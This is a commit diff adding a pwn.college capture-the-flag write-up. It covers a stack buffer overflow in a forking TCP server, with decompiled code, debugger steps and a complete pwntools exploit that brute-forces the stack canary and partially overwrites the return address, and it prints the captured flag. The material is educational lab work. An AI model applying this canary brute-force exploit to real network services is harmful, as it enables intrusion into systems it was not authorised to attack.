Skip to content

Commit 272f746

Browse files
committed
Added MemErr write-up
1 parent 12c0105 commit 272f746

File tree

4 files changed

+246
-223
lines changed

4 files changed

+246
-223
lines changed

_posts/2025-07-08-nightmare-Hacklu15_stackstuff.md

Lines changed: 0 additions & 223 deletions
This file was deleted.
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
---
2+
layout: post
3+
title: (Memory Errors) level 15.0
4+
date: 2025-07-09 13:09:01 +0300
5+
categories: pwn.college Memory-Errors
6+
tags: pwn.college memory-errors partial-overwrite brute-force stack-canary buffer-overflow
7+
---
8+
9+
## Information
10+
- category: pwn
11+
12+
## Description
13+
> Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.
14+
15+
## Write-up
16+
This code was reversed using **IDA**:
17+
```c
18+
int __fastcall main(int argc, const char **argv, const char **envp)
19+
{
20+
int optval; // [rsp+24h] [rbp-101Ch] BYREF
21+
int fd; // [rsp+28h] [rbp-1018h]
22+
int v7; // [rsp+2Ch] [rbp-1014h]
23+
sockaddr addr; // [rsp+30h] [rbp-1010h] BYREF
24+
unsigned __int64 v9; // [rsp+1038h] [rbp-8h]
25+
26+
v9 = __readfsqword(0x28u);
27+
setvbuf(stdin, 0LL, 2, 0LL);
28+
setvbuf(stdout, 0LL, 2, 0LL);
29+
puts("###");
30+
printf("### Welcome to %s!\n", *argv);
31+
puts("###");
32+
putchar(10);
33+
puts("This challenge is listening for connections on TCP port 1337.\n");
34+
puts("The challenge supports unlimited sequential connections.\n");
35+
fd = socket(2, 1, 0);
36+
optval = 1;
37+
setsockopt(fd, 1, 2, &optval, 4u);
38+
addr.sa_family = 2;
39+
*(_DWORD *)&addr.sa_data[2] = 0;
40+
*(_WORD *)addr.sa_data = htons(0x539u);
41+
bind(fd, &addr, 0x10u);
42+
listen(fd, 1);
43+
while ( 1 )
44+
{
45+
v7 = accept(fd, 0LL, 0LL);
46+
if ( !fork() )
47+
break;
48+
close(v7);
49+
wait(0LL);
50+
}
51+
dup2(v7, 0);
52+
dup2(v7, 1);
53+
dup2(v7, 2);
54+
close(fd);
55+
close(v7);
56+
challenge((unsigned int)argc, argv, envp);
57+
puts("### Goodbye!");
58+
return 0;
59+
}
60+
```
61+
**The binary uses ```htons``` to bind a socket, listening on port ```0x0539```, which is ```1337``` in decimal**.
62+
You can interact with the service locally using:
63+
```bash
64+
nc 127.0.0.1 1337
65+
```
66+
Now we’ll set our **breakpoints** using ```pwndbg``` and run the challenge.
67+
We’ll place a breakpoint at ```challenge +1645```, which corresponds to the call to ```read``` inside the challenge function:
68+
```bash
69+
pwndbg /challenge/babymem-level-15-0
70+
...
71+
pwndbg > b*challenge + 1654
72+
```
73+
This allows us to inspect the stack before and after the ```read``` call to confirm the buffer overflow.
74+
75+
```bash
76+
pwndbg> p/x $rsi
77+
# $rsi points to the buffer we're writing into
78+
79+
pwndbg> stack
80+
# Inspect the stack layout
81+
# Look for the canary (usually starts with 0x00******) and saved return address
82+
83+
pwndbg> dist $rsi <canary_address>
84+
# Calculate offset from buffer to canary
85+
86+
pwndbg> i f
87+
# Show the current frame info (where saved RIP is stored)
88+
89+
pwndbg> dist $rsi <saved_return_address>
90+
# Calculate offset from buffer to saved RIP
91+
```
92+
> This is our method, but you can explore and solve it using your own strategy too.
93+
{: .prompt-info}
94+
95+
## Exploit
96+
```python
97+
#!/usr/bin/env python3
98+
99+
from pwn import *
100+
101+
exe = ELF("./babymem-level-15-0_patched")
102+
103+
context.binary = exe
104+
105+
106+
def conn():
107+
r = remote("127.0.0.1", 1337)
108+
109+
return r
110+
111+
def send_payload(p, payload):
112+
113+
p.sendline(f"{len(payload)}".encode())
114+
p.send(payload)
115+
116+
117+
def brute_force_canary():
118+
canary = b"\x00"
119+
i = 0x00
120+
while len(canary) < 0x8:
121+
for i in range(0x00,0xff):
122+
with remote("127.0.0.1" , 1337) as p:
123+
send_payload(p, b"A"*56 + canary + bytes([i]) )
124+
res = p.recvall(timeout=4)
125+
if b"*** stack smashing detected ***" not in res:
126+
canary+= bytes([i])
127+
break
128+
129+
log.success(f"Canary: {canary}")
130+
131+
return canary
132+
def jump_to_win(canary):
133+
i = 0x00
134+
while i < 0xff:
135+
p = conn()
136+
fixed = b"\x22"
137+
padding_to_canary = b"A"*56
138+
padding_to_ret = b"B"*8
139+
140+
payload = padding_to_canary + canary + padding_to_ret + fixed + bytes([i])
141+
142+
send_payload(p, payload)
143+
res = p.recvall()
144+
if b"pwn.college" in res:
145+
print(res.decode())
146+
break
147+
else:
148+
i += 0x1
149+
150+
def main():
151+
canary = brute_force_canary()
152+
153+
jump_to_win(canary)
154+
155+
156+
if __name__ == "__main__":
157+
main()
158+
```
159+
160+
## Flag
161+
> Flag: ```pwn.college{PiU_dHA8jccj_TYZgFn1iejPdTj.01NxMDL5cTNxgzW}```

0 commit comments

Comments
 (0)